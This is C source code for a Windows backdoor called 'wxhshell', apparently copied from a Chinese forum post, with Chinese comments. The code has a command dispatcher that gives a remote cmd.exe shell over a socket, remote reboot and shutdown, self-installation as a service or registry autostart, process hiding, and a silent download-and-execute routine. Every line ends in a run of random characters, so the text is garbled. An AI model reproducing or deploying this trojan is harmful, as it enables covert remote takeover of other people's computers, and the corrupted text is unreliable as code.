    switch(cmd[0]) { lXZ*Pb<j  
  ^Ua6.RH8  
  // 帮助 4$WR8  
  case '?': { ?O3d Sxi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <nb%$2r1  
    break; K8Q3~bMf  
  } P@f#DX )  
  // 安装 "}wO<O6[  
  case 'i': { vK[%c A"  
    if(Install()) Ctn 4q'Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:$ibk4#h  
    else ) P>/g*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Z{FPW.QK  
    break; !l=)$RJKdD  
    } YCQ $X  
  // 卸载 uT'l.*W6i  
  case 'r': { ];lZ:gT  
    if(Uninstall()) e#,(a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C<3<,~gI  
    else .6T0d 4,1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q4hY\\Hi  
    break; R :(-"GW'  
    } L~^5Ez6U  
  // 显示 wxhshell 所在路径 q2s0g*z  
  case 'p': { cdh0b7tj n  
    char svExeFile[MAX_PATH]; r~2hTie  
    strcpy(svExeFile,"\n\r"); UfPHV%Wd  
      strcat(svExeFile,ExeFile); co3\1[q"b  
        send(wsh,svExeFile,strlen(svExeFile),0); ;g? |y(xv  
    break; [`oVMR  
    } \PUJD,9H  
  // 重启 ;kY~-Om  
  case 'b': { pu+Q3NfR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G<Eb~]. 1'  
    if(Boot(REBOOT)) EwX{i}j_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \xbUr`WBY  
    else { \hZ%NL j  
    closesocket(wsh); ZZ!">AN`^  
    ExitThread(0); 8I *N  
    } * m^\&  
    break; vy *-"=J  
    } D%nd7 |  
  // 关机 gFKJbjT|  
  case 'd': { M:{Aq&.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S,nELV~!  
    if(Boot(SHUTDOWN)) )-emSV0zE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/H6%"CTa  
    else { /KX+'@  
    closesocket(wsh); * 70 ZAo4  
    ExitThread(0); >Rd~-w)!|  
    } (/N&_r4x  
    break; q :TNf\/o  
    } 4k-Ak6s  
  // 获取shell 8\!E )M|4  
  case 's': { BjsT 9?6W/  
    CmdShell(wsh); xE w\'tH  
    closesocket(wsh); Pv/ v=s>X  
    ExitThread(0); XWnP(C9?  
    break; w $6Z}M1d  
  } R-j*fO}  
  // 退出 kI)}7e  
  case 'x': { vM6W64S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gWGDm~+  
    CloseIt(wsh); $q)YC.5$  
    break; 4minzrKM\  
    } 5N;'CAk  
  // 离开 Mh4MaLw  
  case 'q': { D,ZLo~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |DJ8 "T]E  
    closesocket(wsh); Leb|YX  
    WSACleanup(); ro\ oL  
    exit(1); L;%w{,Ji  
    break; ~(ke'`gJ0-  
        } G:":CX"O(  
  } 5EcVW|(  
  } UGI<V!  
wCB*v<*  
  // 提示信息 v={{ $=/t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KDq="=q  
} o~IAZU39  
  } ~qrSHn}+PU  
]|.ked  
  return; ^0}ma*gi~  
} )ZpI%M?)  
tLTavE[@  
// shell模块句柄 &Y=0 0  
int CmdShell(SOCKET sock) 14B',]`  
{ %7)TiT4V  
STARTUPINFO si; 3X`9&0:j%  
ZeroMemory(&si,sizeof(si)); v}6iI}r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )x7n-|y6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0bDc 4m  
PROCESS_INFORMATION ProcessInfo; B5;%R01A  
char cmdline[]="cmd"; d"9tP& Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2URGd#{VQ  
  return 0; &Mk!qE<:N  
} ]=q auf>3  
oCa Ymi=:  
// 自身启动模式 &sWr)>vs  
int StartFromService(void) p8~lGuH  
{ !%,7*F(  
typedef struct jU j\<aW  
{ P3&s<mh  
  DWORD ExitStatus; ORs :S$Nt$  
  DWORD PebBaseAddress; A _zCSRF,  
  DWORD AffinityMask; BB/wL_=:  
  DWORD BasePriority; i D IY|  
  ULONG UniqueProcessId; I?3b}#&V9  
  ULONG InheritedFromUniqueProcessId; KFd +7C9  
}   PROCESS_BASIC_INFORMATION; 7Ed0BJTa  
112 WryS  
PROCNTQSIP NtQueryInformationProcess; qjP~F  
W^tD6H;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '" "v7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A-CU%G9  
S} m=|3%y  
  HANDLE             hProcess; 5-|!mSd   
  PROCESS_BASIC_INFORMATION pbi; bE !SW2:M  
q!z"YpYB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SH{@yS[c!  
  if(NULL == hInst ) return 0; x z8e1M  
Xfq`k/ W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o+E~iC u5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZL6HD n!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wf\"&xwh?  
qPq]%G*{  
  if (!NtQueryInformationProcess) return 0; [<R haZz  
x|~8?i$%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /grTOf&  
  if(!hProcess) return 0; f,TW|Y'{g  
MeEa|.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  TUcFx_  
Dt: Q$  
  CloseHandle(hProcess);  pux IJ  
rFg$7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o72r `2  
if(hProcess==NULL) return 0; -qIi.]/f"9  
f CU]  
HMODULE hMod; *#Cx-J  
char procName[255]; oe|#!SM(  
unsigned long cbNeeded; `q*[fd1u.  
=OH X5:Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5~[7|Y  
_ nMd  
  CloseHandle(hProcess); I@cw=_EQL  
.uJ J<  
if(strstr(procName,"services")) return 1; // 以服务启动 D;pI!S<#  
<a6pjx>y  
  return 0; // 注册表启动 6nW)2LV  
} PlkZ)S7C  
loVg{N :  
// 主模块 Fc5.?X-  
int StartWxhshell(LPSTR lpCmdLine) X,k^p[Rcu  
{ $gUlM+sK  
  SOCKET wsl; |H?t+Dyn)q  
BOOL val=TRUE; _Vr- bpAf  
  int port=0; v76Gwu$ d  
  struct sockaddr_in door; W@T \i2r$z  
{cXr!N^K  
  if(wscfg.ws_autoins) Install(); &>JP.//spi  
o P`l)`  
port=atoi(lpCmdLine); GTP'js  
6'Q{xJe?  
if(port<=0) port=wscfg.ws_port; <L-F3Buu  
x6UXd~ L e  
  WSADATA data; SOOVUMj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u<edO+  
WO qDW~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a2Ak?W1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -l= 4{^pK  
  door.sin_family = AF_INET; w|9 >4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "2cOSPpQL  
  door.sin_port = htons(port); FH,]'  
$tmdE )"&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7iP+!e}$.  
closesocket(wsl); o}rG:rhIh  
return 1; h9)S&Sk{s  
} ybBmg'198  
{18hzhs  
  if(listen(wsl,2) == INVALID_SOCKET) { U,=f};  
closesocket(wsl); X4V>qHV72  
return 1; 5#DMizv6  
} bJ^h{]  
  Wxhshell(wsl); \Bo%2O%4  
  WSACleanup(); !D??Y^6bI  
Nz dN4+  
return 0; ukiWNF/  
aK_5@8+ZD  
} F)^0R%{C  
:21d  
// 以NT服务方式启动 xi5"?*&Sb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <s9{o uZ  
{ 7f>=-sv  
DWORD   status = 0; b@Oq}^a&o  
  DWORD   specificError = 0xfffffff; y:;.r:  
g:Hj1!'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v;]rFc#Px[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2%%\jlT_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5BVvT `<  
  serviceStatus.dwWin32ExitCode     = 0; [^qT?se{  
  serviceStatus.dwServiceSpecificExitCode = 0; &hYgu3O  
  serviceStatus.dwCheckPoint       = 0; hXTfmFy{n  
  serviceStatus.dwWaitHint       = 0; =~1EpZ  
r:H]`Uo'r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,H]%4@]|o  
  if (hServiceStatusHandle==0) return; S/]\GG{  
gb_Y]U  
status = GetLastError(); ,X@o@W+L  
  if (status!=NO_ERROR) Uy?jVPL  
{ j?K$w`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yK*vn]}  
    serviceStatus.dwCheckPoint       = 0; _ Sr}3  
    serviceStatus.dwWaitHint       = 0; Ge q]wv8  
    serviceStatus.dwWin32ExitCode     = status; l2 .S^S  
    serviceStatus.dwServiceSpecificExitCode = specificError; `2.c=,S{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1VJ${\H]  
    return; pD<w@2K  
  } $.`o  
ER"69zQg|2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ofy"SM  
  serviceStatus.dwCheckPoint       = 0; CWdsOS=  
  serviceStatus.dwWaitHint       = 0; T fLqxioqZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TLwxP"  
} RjW wsC~B  
Q %o@s3~O  
// 处理NT服务事件,比如:启动、停止 tsb[=W!Ar8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2*Qv6 :qK  
{ #mQ@4k9i  
switch(fdwControl) $+4DpqJ  
{ -UhpPw 6  
case SERVICE_CONTROL_STOP: `zQuhD 8W  
  serviceStatus.dwWin32ExitCode = 0; Y1PR?c Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bzi"7%c  
  serviceStatus.dwCheckPoint   = 0; "Rj PTRe:  
  serviceStatus.dwWaitHint     = 0; s=8H< 'l  
  {  YSD G!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y7HFmGM  
  } x%mRDm~-  
  return; ~gI%lORqN  
case SERVICE_CONTROL_PAUSE: NEq_!!/sF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h^3gYL7O6  
  break; '<Zm>L&  
case SERVICE_CONTROL_CONTINUE: h:4(Gm;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }* :3]  
  break; j`_S%E%X  
case SERVICE_CONTROL_INTERROGATE: @A,8 >0+  
  break; sfXFh  
}; ZM<6yj"f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*{(R#  
} \YvG+7a  
OUBGbld  
// 标准应用程序主函数 D3Q+K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {)" 3  
{ (| QJ[@?q  
!Tnjha*  
// 获取操作系统版本 }1#m+ (;  
OsIsNt=GetOsVer(); Hv;xaT<}V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u BEw YQB  
qDdO-fPev  
  // 从命令行安装 F- ,gj{s  
  if(strpbrk(lpCmdLine,"iI")) Install(); khy'Y&\F;  
NW\CEJV  
  // 下载执行文件 5H3o?x   
if(wscfg.ws_downexe) { w'@gzK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /v!yI$xc  
  WinExec(wscfg.ws_filenam,SW_HIDE); *)K 5<}V  
} Sz0PZtJ  
_o~ pVBl/  
if(!OsIsNt) { kt yplo#F  
// 如果时win9x,隐藏进程并且设置为注册表启动 i~u4v3r=  
HideProc(); 0%f}Q7*R  
StartWxhshell(lpCmdLine); u({^8: AYu  
} .<m]j;|6  
else Zl>SeTjB-  
  if(StartFromService()) ^6W}ZLp  
  // 以服务方式启动 YSnh2 Bq  
  StartServiceCtrlDispatcher(DispatchTable); J9T2 p\5  
else 7@c!4hmrU  
  // 普通方式启动 Myc-lCE  
  StartWxhshell(lpCmdLine); P+CV4;Xz  
rNN>tpZ}  
return 0; 8Ths"zwn  
}
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只看该作者 1 发表于: 2006-10-10
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